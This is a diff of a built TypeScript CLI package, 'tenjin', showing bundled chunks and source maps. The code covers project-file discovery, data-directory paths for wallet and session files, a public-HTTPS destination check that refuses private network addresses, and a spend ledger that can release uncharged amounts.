repo root, no file\n if (dir === homeDir) return null; // never cross above $HOME\n const parent = dirname(dir);\n if (parent === dir) return null;\n dir = parent;\n }\n}\n\n/**\n * EVERY directory from `cwd` up to the git root (inclusive) that holds one of\n * `names`, nearest first, under the same bounds as\n * {@link findNearestProjectFiles}; `gitRoot` is null outside a repository.\n * For layers that each only tighten, where reading one more can never loosen.\n */\nexport async function findAllProjectFiles(\n cwd: string,\n names: readonly string[],\n deps: ProjectWalkDeps & { homeIsProject?: boolean } = {},\n): Promise<{ levels: ProjectWalkHit[]; gitRoot: string | null }> {\n const homeDir = deps.homeDir ?? homedir();\n const levels: ProjectWalkHit[] = [];\n let dir = cwd;\n for (;;) {\n if (dir === homeDir && deps.homeIsProject === false) return { levels, gitRoot: null };\n const found = await ownedCandidates(dir, names, deps);\n if (found.length > 0) levels.push({ dir, found });\n if (await pathExists(join(dir, '.git'))) return { levels, gitRoot: dir };\n if (dir === homeDir) return { levels, gitRoot: null };\n const parent = dirname(dir);\n if (parent === dir) return { levels, gitRoot: null };\n dir = parent;\n }\n}\n\n/**\n * The main working tree behind a git worktree whose root is `gitRoot`, or null\n * when `gitRoot` is not a linked worktree. Filesystem only, no `git` process:\n * the worktree's `.git` FILE names its gitdir, whose `commondir` names the\n * main repository's `.git`. A bare common dir, one that resolves outside\n * $HOME, and a submodule (a gitdir with no `commondir`) all give null.\n */\nexport async function mainWorktreeOf(\n gitRoot: string,\n homeDir: string = homedir(),\n): Promise<string | null> {\n try {\n const dotGit = join(gitRoot, '.git');\n if (!(await stat(dotGit)).isFile()) return null;\n const line = /^gitdir:\\s*(.+?)\\s*$/m.exec(await readFile(dotGit, 'utf8'));\n if (line === null) return null;\n const gitdir = resolve(gitRoot, line[1]!);\n const commonDir = resolve(gitdir, (await readFile(join(gitdir, 'commondir'), 'utf8')).trim());\n if (basename(commonDir) !== '.git' || !(await stat(commonDir)).isDirectory()) return null;\n const main = dirname(commonDir);\n if (main === gitRoot || !main.startsWith(`${homeDir}${sep}`)) return null;\n return main;\n } catch {\n return null;\n }\n}\n\n/** The candidates present in `dir` and owned by this user, in `names` order. */\nexport async function ownedCandidates(\n dir: string,\n names: readonly string[],\n deps: ProjectWalkDeps = {},\n): Promise<string[]> {\n const isForeignOwned = deps.isForeignOwned ?? defaultIsForeignOwned;\n const warn = deps.warn ?? ((message: string) => process.stderr.write(`${message}\\n`));\n const found: string[] = [];\n for (const name of names) {\n const candidate = join(dir, name);\n if (!(await pathExists(candidate))) continue;\n if (await isForeignOwned(candidate)) {\n // A file owned by another user (e.g. /tmp/.tenjin.json on a shared box)\n // must never become the honored layer; skip it and keep walking.\n warn(`Ignoring ${candidate}: not owned by the current user.`);\n } else {\n found.push(candidate);\n }\n }\n return found;\n}\n\n/**\n * The directory a project file belongs in when none exists yet: the git root\n * above `cwd`, or `cwd` itself outside a repository. Same bounds as the walk.\n */\nexport async function projectRoot(cwd: string, homeDir: string = homedir()): Promise<string> {\n let dir = cwd;\n for (;;) {\n if (await pathExists(join(dir, '.git'))) return dir;\n if (dir === homeDir) return cwd;\n const parent = dirname(dir);\n if (parent === dir) return cwd;\n dir = parent;\n }\n}\n\n/**\n * True when the file is owned by a different uid than the process. On a platform\n * without a uid model (Windows: process.getuid is undefined) this is always\n * false — the ownership gate is a POSIX shared-host protection.\n */\nasync function defaultIsForeignOwned(filePath: string): Promise<boolean> {\n const uid = process.getuid?.();\n if (uid === undefined) return false;\n try {\n return (await stat(filePath)).uid !== uid;\n } catch {\n return false;\n }\n}\n\n/** True when a path exists (of any type). */\nexport async function pathExists(path: string): Promise<boolean> {\n try {\n await stat(path);\n return true;\n } catch {\n return false;\n }\n}\n\n/**\n * True only on a git check-ignore exit 0 (the path is ignored). Exit 1 (tracked)\n * and any error (git absent, not a repo) resolve false: `full-auto` is honored\n * from a project file ONLY when git positively confirms it is ignored. Uses\n * execFile with an argv array (never a shell), matching wallet/passphrase.ts.\n */\nfunction defaultIsGitignored(filePath: string): Promise<boolean> {\n return new Promise((resolve) => {\n execFile(\n 'git',\n ['check-ignore', '--quiet', '--', filePath],\n { cwd: dirname(filePath) },\n (err) => resolve(err === null),\n );\n });\n}\n"],"mappings":";;;;;;;;;;;;;;;;;;;AAAA,SAAS,gBAAgB;AACzB,SAAS,UAAU,YAAY;AAC/B,SAAS,eAAe;AACxB,SAAS,UAAU,SAAS,MAAM,SAAS,WAAW;AA0EtD,SAAS,UAAU,KAAiC;AAClD,MAAI;AACF,WAAO,IAAI,IAAI,GAAG,EAAE;AAAA,EACtB,QAAQ;AACN,WAAO;AAAA,EACT;AACF;AAuCO,SAAS,mBACd,QACA,GACyB;AACzB,QAAM,SAAS,EAAE,kBAAkB;AACnC,MAAI,OAAO,WAAW,EAAG,QAAO;AACh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,SAAQ,QAAQ,IAAI;AAAA,IAC/B;AAAA,EACF,CAAC;AACH;","names":["resolve"]}
|
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
import { createRequire as __tenjinCreateRequire } from 'node:module'; const require = __tenjinCreateRequire(import.meta.url);
|
|
2
2
|
import {
|
|
3
3
|
package_default
|
|
4
|
-
} from "./chunk-
|
|
4
|
+
} from "./chunk-RCJQARZF.js";
|
|
5
5
|
import {
|
|
6
6
|
CliError,
|
|
7
7
|
HARNESSES,
|
|
@@ -16,7 +16,7 @@ import {
|
|
|
16
16
|
hooksDir,
|
|
17
17
|
shimBundlePath,
|
|
18
18
|
vitestReporterPath
|
|
19
|
-
} from "./chunk-
|
|
19
|
+
} from "./chunk-K6AXXYCG.js";
|
|
20
20
|
|
|
21
21
|
// src/lib/harness-permissions.ts
|
|
22
22
|
import { chmod, lstat, mkdir, readFile, realpath, stat as stat2 } from "node:fs/promises";
|
|
@@ -1781,4 +1781,4 @@ export {
|
|
|
1781
1781
|
registeredHooks,
|
|
1782
1782
|
writeHooks
|
|
1783
1783
|
};
|
|
1784
|
-
//# sourceMappingURL=chunk-
|
|
1784
|
+
//# sourceMappingURL=chunk-IOIHYOU4.js.map
|
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
import { createRequire as __tenjinCreateRequire } from 'node:module'; const require = __tenjinCreateRequire(import.meta.url);
|
|
2
2
|
import {
|
|
3
3
|
inspectHooksFile
|
|
4
|
-
} from "./chunk-
|
|
4
|
+
} from "./chunk-IOIHYOU4.js";
|
|
5
5
|
import {
|
|
6
6
|
CliError,
|
|
7
7
|
writeFileAtomic
|
|
@@ -169,4 +169,4 @@ export {
|
|
|
169
169
|
removeStatusLine,
|
|
170
170
|
inspectStatusLine
|
|
171
171
|
};
|
|
172
|
-
//# sourceMappingURL=chunk-
|
|
172
|
+
//# sourceMappingURL=chunk-JN7TMXVF.js.map
|
|
@@ -26,6 +26,9 @@ function sessionPath(dir = dataDir()) {
|
|
|
26
26
|
function spendLedgerPath(dir = dataDir()) {
|
|
27
27
|
return join(dir, "spend.json");
|
|
28
28
|
}
|
|
29
|
+
function balanceCachePath(dir = dataDir()) {
|
|
30
|
+
return join(dir, "balance.json");
|
|
31
|
+
}
|
|
29
32
|
function updateCheckPath(dir = dataDir()) {
|
|
30
33
|
return join(dir, "update-check.json");
|
|
31
34
|
}
|
|
@@ -69,6 +72,12 @@ var VITEST_REPORTER_FILE = "tenjin-vitest-reporter.mjs";
|
|
|
69
72
|
function vitestReporterPath(dir = dataDir()) {
|
|
70
73
|
return join(hooksDir(dir), VITEST_REPORTER_FILE);
|
|
71
74
|
}
|
|
75
|
+
function downloadsDir(dir = dataDir()) {
|
|
76
|
+
return join(dir, "downloads");
|
|
77
|
+
}
|
|
78
|
+
function paidLedgerPath(dir = dataDir()) {
|
|
79
|
+
return join(dir, "paid", "ledger.jsonl");
|
|
80
|
+
}
|
|
72
81
|
|
|
73
82
|
export {
|
|
74
83
|
dataDir,
|
|
@@ -78,6 +87,7 @@ export {
|
|
|
78
87
|
installIdPath,
|
|
79
88
|
sessionPath,
|
|
80
89
|
spendLedgerPath,
|
|
90
|
+
balanceCachePath,
|
|
81
91
|
updateCheckPath,
|
|
82
92
|
hooksDir,
|
|
83
93
|
hookHealthPath,
|
|
@@ -92,6 +102,8 @@ export {
|
|
|
92
102
|
daemonBundlePath,
|
|
93
103
|
shimBundlePath,
|
|
94
104
|
VITEST_REPORTER_FILE,
|
|
95
|
-
vitestReporterPath
|
|
105
|
+
vitestReporterPath,
|
|
106
|
+
downloadsDir,
|
|
107
|
+
paidLedgerPath
|
|
96
108
|
};
|
|
97
|
-
//# sourceMappingURL=chunk-
|
|
109
|
+
//# sourceMappingURL=chunk-K6AXXYCG.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"sources":["../src/lib/paths.ts"],"sourcesContent":["import { homedir } from 'node:os';\nimport { join, resolve } from 'node:path';\n\n/**\n * Where the CLI keeps its config and wallet. Defaults to ~/.tenjin, overridable\n * via TENJIN_DATA_DIR (CI, ephemeral agents, and every test — which point it at\n * a temp dir so the real home is never touched).\n */\nexport function dataDir(env: NodeJS.ProcessEnv = process.env): string {\n const override = env.TENJIN_DATA_DIR;\n // Absolute, always: the daemon compares this string against its own\n // `data_dir` and is spawned with it as `cwd`, so a relative override must\n // mean the same directory from every process.\n if (override !== undefined && override.length > 0) return resolve(override);\n return defaultDataDir();\n}\n\n/**\n * The data dir a run with no override resolves. Split out of {@link dataDir} so\n * a caller holding a home directory can ask whether some other profile IS the\n * default one, without a second copy of the `.tenjin` literal.\n */\nexport function defaultDataDir(home: string = homedir()): string {\n return join(home, '.tenjin');\n}\n\nexport function configPath(dir: string = dataDir()): string {\n return join(dir, 'config.json');\n}\n\nexport function walletPath(dir: string = dataDir()): string {\n return join(dir, 'wallet.json');\n}\n\n/**\n * The anonymous install id sent to Tenjin as `X-Tenjin-Install` (lib/install-identity).\n * Under the data dir so it survives upgrades and reinstalls of the CLI itself.\n */\nexport function installIdPath(dir: string = dataDir()): string {\n return join(dir, 'install-id');\n}\n\n/**\n * Where the delegated P-256 session key + its wallet-signed SIWX delegation are\n * cached (B3, D35). A short-lived (≤24h) hot key: lower stakes than wallet.json,\n * but still written 0600 and address-bound so a wallet change invalidates it.\n */\nexport function sessionPath(dir: string = dataDir()): string {\n return join(dir, 'session.json');\n}\n\n/**\n * Where the client-side rolling spend ledger lives (lib/wallet/spend.ts).\n *\n * Its own file, NOT session.json: the two schemas are incompatible and both\n * readers treat a parse failure as \"absent\", so a shared path meant each writer\n * silently destroyed the other's file — a session key wiped the spend window, and\n * the next spend wiped the session key.\n */\nexport function spendLedgerPath(dir: string = dataDir()): string {\n return join(dir, 'spend.json');\n}\n\n/**\n * The wallet's last USDC balance read (lib/usdc-balance). A pure cache, a\n * minute long: an unreadable file is simply read again from the chain.\n */\nexport function balanceCachePath(dir: string = dataDir()): string {\n return join(dir, 'balance.json');\n}\n\n/**\n * Where the once-a-day \"a newer tenjin-cli exists\" check caches the registry\n * answer. A pure cache: nothing here is authoritative, so an unreadable file is\n * simply re-fetched.\n */\nexport function updateCheckPath(dir: string = dataDir()): string {\n return join(dir, 'update-check.json');\n}\n\n/**\n * Where `install` writes the standalone harness hook scripts. Under the data dir\n * rather than the harness's own config directory: the scripts are ours, a harness\n * only ever holds the path to them, and one location serves every harness.\n */\nexport function hooksDir(dir: string = dataDir()): string {\n return join(dir, 'hooks');\n}\n\n/**\n * How the marketplace has been answering the dispatch hook lately, so a run of\n * failures stops the arm instead of paying the fetch budget per subagent through\n * an outage. Hook-written, unlocked, and cheap to lose, since a missing file\n * reads as \"healthy\". Its own file because two hooks writing one unlocked file\n * would erase each other.\n */\nexport function hookHealthPath(dir: string = dataDir()): string {\n return join(dir, 'hook-health.json');\n}\n\n/**\n * Where the LEGACY (pre-per-wallet) Windows DPAPI passphrase blob lives. The\n * file holds a DPAPI CurrentUser ciphertext, not the passphrase in plaintext.\n * New writes go to the per-wallet path below; this one is only read as a\n * migration fallback and removed after a verified per-wallet copy exists.\n */\nexport function passphraseBlobPath(dir: string = dataDir()): string {\n return join(dir, 'passphrase.dpapi');\n}\n\n/**\n * The per-wallet Windows DPAPI passphrase blob: one file per wallet address\n * (lowercase), so creating a new wallet never clobbers an old wallet's blob.\n * Only ever written on win32; other platforms use their own OS store.\n */\nexport function passphraseBlobPathFor(account: string, dir: string = dataDir()): string {\n return join(dir, `passphrase.${account}.dpapi`);\n}\n\n/**\n * Where `wallet create --replace` parks the outgoing wallet's keystore, keyed by\n * its lowercase address so successive replaces can never collide. Together with\n * the wallet's per-address passphrase entry in the OS store, this file keeps the\n * replaced wallet's funds recoverable; it is never read by the active-wallet\n * path.\n */\nexport function archivedWalletPath(account: string, dir: string = dataDir()): string {\n return join(dir, `wallet.${account}.json.bak`);\n}\n\n/**\n * The loop daemon's own state, all under the data dir (tenjin-notes\n * loop-redesign/02-redesign.md §4, §10).\n */\nexport function loopDbPath(dir: string = dataDir()): string {\n return join(dir, 'loop.db');\n}\n\n/** 32 random bytes, hex, 0600. Minted by `tenjin daemon start`, rotated only by\n * reinstall, NEVER deleted by the daemon: every transport reads it, and an idle\n * exit that removed it would strand them all. */\nexport function daemonTokenPath(dir: string = dataDir()): string {\n return join(dir, 'daemon.token');\n}\n\n/** `{ pid, port, started_at, data_dir }`, advisory: written after the bind,\n * removed at exit only by the process whose pid it names. Liveness is\n * `GET /health`, never this file alone. */\nexport function daemonPidPath(dir: string = dataDir()): string {\n return join(dir, 'daemon.pid');\n}\n\n/** Where a detached daemon's stdout and stderr go, and where the shim writes its\n * one `daemon-down` line when it cannot reach one. */\nexport function daemonLogPath(dir: string = dataDir()): string {\n return join(dir, 'daemon.log');\n}\n\n/** An empty file whose mtime is the last spawn attempt; the shim's backoff. */\nexport function daemonSpawnPath(dir: string = dataDir()): string {\n return join(dir, 'daemon.spawn');\n}\n\n/** The single-file daemon bundle `tenjin daemon start` copies from `dist`. */\nexport function daemonBundlePath(dir: string = dataDir()): string {\n return join(hooksDir(dir), 'tenjin-daemon.mjs');\n}\n\n/** The ensure-and-forward shim the two `command` hook entries run. */\nexport function shimBundlePath(dir: string = dataDir()): string {\n return join(hooksDir(dir), 'tenjin-shim.mjs');\n}\n\n/** Tenjin's own vitest reporter, copied beside the bundles. NOT A HOOK ENTRY\n * and never spawned: a repo's own `vitest.config.ts` imports it by this\n * absolute path, which is why `doctor` can hint at it verbatim. */\nexport const VITEST_REPORTER_FILE = 'tenjin-vitest-reporter.mjs';\n\nexport function vitestReporterPath(dir: string = dataDir()): string {\n return join(hooksDir(dir), VITEST_REPORTER_FILE);\n}\n\n/**\n * Where a router lookup that bought a file (a sound, an image) saves it. The\n * bytes cannot ride in the tool result, so the result names this file instead.\n */\nexport function downloadsDir(dir: string = dataDir()): string {\n return join(dir, 'downloads');\n}\n\n/**\n * One JSON line per paid router call: what was bought, from whom, for how much,\n * the settlement it carried and the files it saved. The user's own record; only\n * reconcile reads it back (`tenjin payments reconcile`, and the `request` tool's\n * pass beside each lookup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AAS,mBAAmB,SAAiB,MAAc,QAAQ,GAAW;AACnF,SAAO,KAAK,KAAK,UAAU,OAAO,WAAW;AAC/C;AAMO,SAAS,WAAW,MAAc,QAAQ,GAAW;AAC1D,SAAO,KAAK,KAAK,SAAS;AAC5B;AAKO,SAAS,gBAAgB,MAAc,QAAQ,GAAW;AAC/D,SAAO,KAAK,KAAK,cAAc;AACjC;AAKO,SAAS,cAAc,MAAc,QAAQ,GAAW;AAC7D,SAAO,KAAK,KAAK,YAAY;AAC/B;AAIO,SAAS,cAAc,MAAc,QAAQ,GAAW;AAC7D,SAAO,KAAK,KAAK,YAAY;AAC/B;AAGO,SAAS,gBAAgB,MAAc,QAAQ,GAAW;AAC/D,SAAO,KAAK,KAAK,cAAc;AACjC;AAGO,SAAS,iBAAiB,MAAc,QAAQ,GAAW;AAChE,SAAO,KAAK,SAAS,GAAG,GAAG,mBAAmB;AAChD;AAGO,SAAS,eAAe,MAAc,QAAQ,GAAW;AAC9D,SAAO,KAAK,SAAS,GAAG,GAAG,iBAAiB;AAC9C;AAKO,IAAM,uBAAuB;AAE7B,SAAS,mBAAmB,MAAc,QAAQ,GAAW;AAClE,SAAO,KAAK,SAAS,GAAG,GAAG,oBAAoB;AACjD;AAMO,SAAS,aAAa,MAAc,QAAQ,GAAW;AAC5D,SAAO,KAAK,KAAK,WAAW;AAC9B;AAQO,SAAS,eAAe,MAAc,QAAQ,GAAW;AAC9D,SAAO,KAAK,KAAK,QAAQ,cAAc;AACzC;","names":[]}
|
|
@@ -69,9 +69,12 @@ function assertPublicHttpsUrl(raw) {
|
|
|
69
69
|
return url;
|
|
70
70
|
}
|
|
71
71
|
async function assertPublicDestination(raw, options = {}) {
|
|
72
|
+
return (await resolvePublicDestination(raw, options)).url;
|
|
73
|
+
}
|
|
74
|
+
async function resolvePublicDestination(raw, options = {}) {
|
|
72
75
|
const url = assertPublicHttpsUrl(raw);
|
|
73
76
|
const host = url.hostname.replace(/^\[|\]$/g, "");
|
|
74
|
-
if (isIP(host) !== 0) return url;
|
|
77
|
+
if (isIP(host) !== 0) return { url, address: host, family: isIP(host) === 6 ? 6 : 4 };
|
|
75
78
|
const resolve = options.resolveHostname ?? ((name) => lookup(name, { all: true }));
|
|
76
79
|
const signal = AbortSignal.timeout(options.timeoutMs ?? 5e3);
|
|
77
80
|
let addresses;
|
|
@@ -92,11 +95,13 @@ async function assertPublicDestination(raw, options = {}) {
|
|
|
92
95
|
if (addresses.length === 0 || addresses.some((entry) => !isPublicAddress(entry.address))) {
|
|
93
96
|
refuse(`The endpoint host ${host} resolves to a private or unsupported network address.`);
|
|
94
97
|
}
|
|
95
|
-
|
|
98
|
+
const first = addresses[0];
|
|
99
|
+
return { url, address: first.address, family: isIP(first.address) === 6 ? 6 : 4 };
|
|
96
100
|
}
|
|
97
101
|
|
|
98
102
|
export {
|
|
99
103
|
isPublicAddress,
|
|
100
|
-
assertPublicDestination
|
|
104
|
+
assertPublicDestination,
|
|
105
|
+
resolvePublicDestination
|
|
101
106
|
};
|
|
102
|
-
//# sourceMappingURL=chunk-
|
|
107
|
+
//# sourceMappingURL=chunk-LAIZ2AQA.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"sources":["../src/lib/destination.ts"],"sourcesContent":["import { lookup } from 'node:dns/promises';\nimport { BlockList, isIP } from 'node:net';\nimport { CliError } from './errors';\n\n/**\n * Where this CLI is willing to send a paid request. Ported from the draft\n * auto-mode experiment (PR #369 `execution.ts`) into a shared path, so the\n * router's provider call and `tenjin pay` answer the question the same way.\n *\n * TWO CHECKS, BOTH NEEDED. The lexical one refuses a URL shape that cannot be a\n * public endpoint (a scheme, credentials, a fragment, a literal private\n * address). The DNS one refuses a public-looking NAME that resolves onto the\n * local network, which is the shape a hostile registry listing or a hostile\n * routing decision would take.\n *\n * WHAT IT IS NOT. A resolved address is checked, NOT PINNED. `fetch` resolves\n * the name again on its own, so a host that answers publicly here and privately\n * a moment later is not closed by this, and neither is a remote scraper\n * following its own redirects on its own server. Closing the first needs a\n * transport that connects to the address it validated (`node:https` with a\n * `lookup` override, as the draft experiment's `safeHttpsTransport` did), which\n * the plan for this release left unported for the paid leg. The router's media\n * download does connect that way: it pins its socket to the address\n * {@link resolvePublicDestination} validated (`router/paid.ts`). What this does remove\n * is the easy local target: `http://`, credentials, a custom port, a literal\n * private address, a `.localhost`/`.internal` name, and a public name whose\n * only answers are private. Documented in docs/safety-model.md as a bound.\n */\n\nconst blockedV4 = new BlockList();\nfor (const [base, prefix] of [\n ['0.0.0.0', 8],\n ['10.0.0.0', 8],\n ['100.64.0.0', 10],\n ['127.0.0.0', 8],\n ['169.254.0.0', 16],\n ['172.16.0.0', 12],\n ['192.0.0.0', 24],\n ['192.0.2.0', 24],\n ['192.168.0.0', 16],\n ['198.18.0.0', 15],\n ['198.51.100.0', 24],\n ['203.0.113.0', 24],\n ['224.0.0.0', 4],\n ['240.0.0.0', 4],\n] as const) {\n blockedV4.addSubnet(base, prefix, 'ipv4');\n}\n\nconst blockedV6 = new BlockList();\nfor (const [base, prefix] of [\n ['::', 128],\n ['::1', 128],\n ['64:ff9b::', 96],\n ['100::', 64],\n ['2001:db8::', 32],\n ['fc00::', 7],\n ['fe80::', 10],\n ['ff00::', 8],\n] as const) {\n blockedV6.addSubnet(base, prefix, 'ipv6');\n}\n\n/** Is this literal address one a paid request may be sent to? IPv6 additionally\n * has to sit in the globally routable 2000::/3 range. */\nexport function isPublicAddress(value: string): boolean {\n const kind = isIP(value);\n if (kind === 4) return !blockedV4.check(value, 'ipv4');\n return kind === 6 && /^[23]/i.test(value) && !blockedV6.check(value, 'ipv6');\n}\n\nconst LOCAL_SUFFIX = /(?:^|\\.)(?:localhost|local|internal|home|lan)$/i;\n\nfunction refuse(message: string, details?: Record<string, unknown>): never {\n throw new CliError('USAGE', message, {\n fix: 'Paid requests go to public HTTPS endpoints only; nothing was signed.',\n ...(details !== undefined ? { details } : {}),\n });\n}\n\n/** The lexical half: the URL shape alone, no network. Returns the parsed URL. */\nexport function assertPublicHttpsUrl(raw: string): URL {\n let url: URL;\n try {\n url = new URL(raw);\n } catch {\n return refuse(`Invalid URL: ${JSON.stringify(raw.slice(0, 200))}`);\n }\n if (\n url.protocol !== 'https:' ||\n url.username !== '' ||\n url.password !== '' ||\n url.hash !== '' ||\n (url.port !== '' && url.port !== '443') ||\n raw.length > 16_384\n ) {\n refuse('Only public HTTPS endpoints without credentials, fragments or custom ports are paid.');\n }\n const host = url.hostname.replace(/^\\[|\\]$/g, '');\n if (!host.includes('.') && isIP(host) === 0) refuse('The endpoint host is not a public name.');\n if (LOCAL_SUFFIX.test(host)) refuse('Private or local destinations are not paid.');\n if (isIP(host) !== 0 && !isPublicAddress(host)) {\n refuse('Private or reserved IP destinations are not paid.');\n }\n return url;\n}\n\nexport interface DestinationOptions {\n /** Resolver seam; production leaves it unset and uses `dns.lookup`. */\n resolveHostname?: (hostname: string) => Promise<{ address: string; family: number }[]>;\n /** One deadline for the whole resolution, not per address. */\n timeoutMs?: number;\n}\n\n/**\n * The full preflight: the lexical check, then DNS. A literal address answered\n * the DNS question already and skips the lookup.\n */\nexport async function assertPublicDestination(\n raw: string,\n options: DestinationOptions = {},\n): Promise<URL> {\n return (await resolvePublicDestination(raw, options)).url;\n}\n\n/**\n * The same preflight, returning the ONE address it validated, for a transport\n * that connects to exactly that address instead of resolving the name again\n * (see the module comment). Every answer must be public, as above; the first\n * is the one to pin.\n */\nexport async function resolvePublicDestination(\n raw: string,\n options: DestinationOptions = {},\n): Promise<{ url: URL; address: string; family: 4 | 6 }> {\n const url = assertPublicHttpsUrl(raw);\n const host = url.hostname.replace(/^\\[|\\]$/g, '');\n if (isIP(host) !== 0) return { url, address: host, family: isIP(host) === 6 ? 6 : 4 };\n const resolve = options.resolveHostname ?? ((name: string) => lookup(name, { all: true }));\n const signal = AbortSignal.timeout(options.timeoutMs ?? 5_000);\n let addresses: { address: string; family: number }[];\n try {\n addresses = await Promise.race([\n resolve(host),\n new Promise<never>((_, reject) => {\n signal.addEventListener('abort', () => reject(new Error('DNS lookup timed out.')), {\n once: true,\n });\n }),\n ]);\n } catch (err) {\n return refuse(`The endpoint host ${host} could not be resolved.`, {\n cause: err instanceof Error ? err.message : String(err),\n });\n }\n if (addresses.length === 0 || addresses.some((entry) => !isPublicAddress(entry.address))) {\n refuse(`The endpoint host ${host} resolves to a private or unsupported network address.`);\n }\n const first = addresses[0]!;\n return { url, address: first.address, family: isIP(first.address) === 6 ? 6 : 4 };\n}\n"],"mappings":";;;;;;AAAA,SAAS,cAAc;AACvB,SAAS,WAAW,YAAY;AA4BhC,IAAM,YAAY,IAAI,UAAU;AAChC,WAAW,CAAC,MAAM,MAAM,KAAK;AAAA,EAC3B,CAAC,WAAW,CAAC;AAAA,EACb,CAAC,YAAY,CAAC;AAAA,EACd,CAAC,cAAc,EAAE;AAAA,EACjB,CAAC,aAAa,CAAC;AAAA,EACf,CAAC,eAAe,EAAE;AAAA,EAClB,CAAC,cAAc,EAAE;AAAA,EACjB,CAAC,aAAa,EAAE;AAAA,EAChB,CAAC,aAAa,EAAE;AAAA,EAChB,CAAC,eAAe,EAAE;AAAA,EAClB,CAAC,cAAc,EAAE;AAAA,EACjB,CAAC,gBAAgB,EAAE;AAAA,EACnB,CAAC,eAAe,EAAE;AAAA,EAClB,CAAC,aAAa,CAAC;AAAA,EACf,CAAC,aAAa,CAAC;AACjB,GAAY;AACV,YAAU,UAAU,MAAM,QAAQ,MAAM;AAC1C;AAEA,IAAM,YAAY,IAAI,UAAU;AAChC,WAAW,CAAC,MAAM,MAAM,KAAK;AAAA,EAC3B,CAAC,MAAM,GAAG;AAAA,EACV,CAAC,OAAO,GAAG;AAAA,EACX,CAAC,aAAa,EAAE;AAAA,EAChB,CAAC,SAAS,EAAE;AAAA,EACZ,CAAC,cAAc,EAAE;AAAA,EACjB,CAAC,UAAU,CAAC;AAAA,EACZ,CAAC,UAAU,EAAE;AAAA,EACb,CAAC,UAAU,CAAC;AACd,GAAY;AACV,YAAU,UAAU,MAAM,QA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
|
|
15
15
|
} from "./chunk-JLEF5WHM.js";
|
|
16
16
|
import {
|
|
17
17
|
spendLedgerPath
|
|
18
|
-
} from "./chunk-
|
|
18
|
+
} from "./chunk-K6AXXYCG.js";
|
|
19
19
|
|
|
20
20
|
// src/lib/wallet/spend.ts
|
|
21
21
|
import { mkdir } from "node:fs/promises";
|
|
@@ -103,12 +103,26 @@ function createLocalSpendAuthorizer(deps) {
|
|
|
103
103
|
const exposure = reservation !== void 0 ? BigInt(reservation.amountAtomic) : amountAtomic;
|
|
104
104
|
const settled = opts.settledAtomic ?? exposure;
|
|
105
105
|
const settledSoFar = BigInt(ledger.settledAtomic ?? ledger.committedAtomic);
|
|
106
|
+
const mode = reservation ? reservation.mode ?? "automatic" : opts.mode ?? "automatic";
|
|
106
107
|
await persist({
|
|
107
108
|
...ledger,
|
|
108
109
|
committedAtomic: (BigInt(ledger.committedAtomic) + exposure).toString(),
|
|
109
|
-
automaticCommittedAtomic: (BigInt(ledger.automaticCommittedAtomic ?? ledger.committedAtomic) + (
|
|
110
|
+
automaticCommittedAtomic: (BigInt(ledger.automaticCommittedAtomic ?? ledger.committedAtomic) + (mode === "manual" ? 0n : exposure)).toString(),
|
|
110
111
|
settledAtomic: (settledSoFar + settled).toString(),
|
|
111
|
-
reservations: reservationId !== void 0 ? ledger.reservations.filter((r) => r.id !== reservationId) : ledger.reservations
|
|
112
|
+
reservations: reservationId !== void 0 ? ledger.reservations.filter((r) => r.id !== reservationId) : ledger.reservations,
|
|
113
|
+
// Keyed by the authorization's nonce, so a reconcile that proves it
|
|
114
|
+
// was never charged can release this amount and nothing else.
|
|
115
|
+
...opts.nonce !== void 0 ? {
|
|
116
|
+
exposures: [
|
|
117
|
+
...ledger.exposures ?? [],
|
|
118
|
+
{
|
|
119
|
+
nonce: opts.nonce.toLowerCase(),
|
|
120
|
+
amountAtomic: exposure.toString(),
|
|
121
|
+
atMs: now(),
|
|
122
|
+
mode
|
|
123
|
+
}
|
|
124
|
+
]
|
|
125
|
+
} : {}
|
|
112
126
|
});
|
|
113
127
|
});
|
|
114
128
|
},
|
|
@@ -124,8 +138,53 @@ function createLocalSpendAuthorizer(deps) {
|
|
|
124
138
|
}
|
|
125
139
|
};
|
|
126
140
|
}
|
|
141
|
+
async function releaseUnchargedExposure(dir, nonce, opts = {}) {
|
|
142
|
+
const path = spendLedgerPath(dir);
|
|
143
|
+
const nowMs = (opts.now ?? Date.now)();
|
|
144
|
+
try {
|
|
145
|
+
return await withFileLock(`${path}.lock`, async () => {
|
|
146
|
+
const { ledger } = await readLedger(path);
|
|
147
|
+
if (ledger === null || nowMs - ledger.windowStartMs >= (opts.windowMs ?? DEFAULT_WINDOW_MS)) {
|
|
148
|
+
return 0n;
|
|
149
|
+
}
|
|
150
|
+
const key = nonce.toLowerCase();
|
|
151
|
+
const entry = (ledger.exposures ?? []).find((e) => e.nonce === key);
|
|
152
|
+
if (entry === void 0) return 0n;
|
|
153
|
+
const amount = BigInt(entry.amountAtomic);
|
|
154
|
+
const less = (value, fallback) => {
|
|
155
|
+
const current = BigInt(value ?? fallback);
|
|
156
|
+
return (current > amount ? current - amount : 0n).toString();
|
|
157
|
+
};
|
|
158
|
+
await writeFileAtomic(
|
|
159
|
+
path,
|
|
160
|
+
`${JSON.stringify(
|
|
161
|
+
{
|
|
162
|
+
...ledger,
|
|
163
|
+
committedAtomic: less(ledger.committedAtomic, "0"),
|
|
164
|
+
...entry.mode === "manual" ? {} : {
|
|
165
|
+
automaticCommittedAtomic: less(
|
|
166
|
+
ledger.automaticCommittedAtomic,
|
|
167
|
+
ledger.committedAtomic
|
|
168
|
+
)
|
|
169
|
+
},
|
|
170
|
+
settledAtomic: less(ledger.settledAtomic, ledger.committedAtomic),
|
|
171
|
+
exposures: (ledger.exposures ?? []).filter((e) => e.nonce !== key)
|
|
172
|
+
},
|
|
173
|
+
null,
|
|
174
|
+
2
|
|
175
|
+
)}
|
|
176
|
+
`,
|
|
177
|
+
{ mode: 384, dirMode: 448 }
|
|
178
|
+
);
|
|
179
|
+
return amount;
|
|
180
|
+
});
|
|
181
|
+
} catch {
|
|
182
|
+
return null;
|
|
183
|
+
}
|
|
184
|
+
}
|
|
127
185
|
|
|
128
186
|
export {
|
|
129
|
-
createLocalSpendAuthorizer
|
|
187
|
+
createLocalSpendAuthorizer,
|
|
188
|
+
releaseUnchargedExposure
|
|
130
189
|
};
|
|
131
|
-
//# sourceMappingURL=chunk-
|
|
190
|
+
//# sourceMappingURL=chunk-N4DJEQAF.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
